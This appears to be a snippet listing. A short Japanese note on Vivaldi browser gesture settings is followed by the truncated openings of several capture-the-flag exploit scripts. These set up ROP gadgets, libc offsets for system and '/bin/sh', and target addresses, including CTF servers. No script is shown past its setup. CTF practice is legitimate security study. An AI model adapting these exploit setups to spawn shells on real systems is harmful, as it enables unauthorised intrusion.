tsunpoko

# ジェスチャ
jikichi ニキ発表

ジェスチャは便利だが、もともと存在しているジェスチャ + カスタマイズのジェスチャを作成する必要あり

2本指で出来るのは vivaldi 関係ないジェスチャ

「option キーと合わせてジェスチャを実行する」を有効か

ページを戻る, ページを進む と競合

tsunpoko

from subprocess import *

p = Popen('./simple_calc', stdin=PIPE, stdout=PIPE)

addr_bss = 0x0000000006c2c40
rdi = 0x493fd6
rsi = 0x0048acea
rdx = 0x00437a85
rax = 0x004749d8
ptrrax_rdx_rbx = 0x0047efb8 #: mov qword [rax], rdx ; pop rbx ; ret  ;  (1 found)

tsunpoko

from No___Op import *

if len(sys.argv) > 1:
    target = '110.10.212.130:8889'

else:
    target = 'localhost:8181'

c = Pwning( target )

tsunpoko

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

system = 0x8048630
free_wrapper = 0x80487c4

time.sleep(30)

tsunpoko

from No___Op import *
from subprocess import *

bss = 0x80e5060 + 0x400
mprotect = 0x805a5a0
stdin = 0x80e5080
fread = 0x80a94c0
pop4ret = 0x80489db
pop3ret = pop4ret + 1
leave_ret = 0x80c207e

tsunpoko

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

offset = {
    '__libc_start_main': 0x21e50,
    'system': 0x46590,
    '/bin/sh': 0x17c8c3, # str

tsunpoko

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

fini_array = 0x080496dc
main = 0x0804849b

offset = {

tsunpoko

from No___Op import *

target = 'localhost:11111'

offset = {
    '__libc_start_main': 0x21e50,
    'system': 0x46590,
    '/bin/sh': 0x17c8c3, # str
    'scanf' : 0x00000000005dd10
}

tsunpoko

from No___Op import *

if len(sys.argv) < 2:
	target = "localhost:4444"

else:
	target = "pwn2.chal.ctf.westerns.tokyo:16317"

plt = {
	'system': 0x08048490

tsunpoko

from No___Op import *

offset = {
    '__libc_start_main': 0x19a00,
    'system': 0x40310,
    '/bin/sh': 0x16084c, # str
}

target = 'localhost:8181'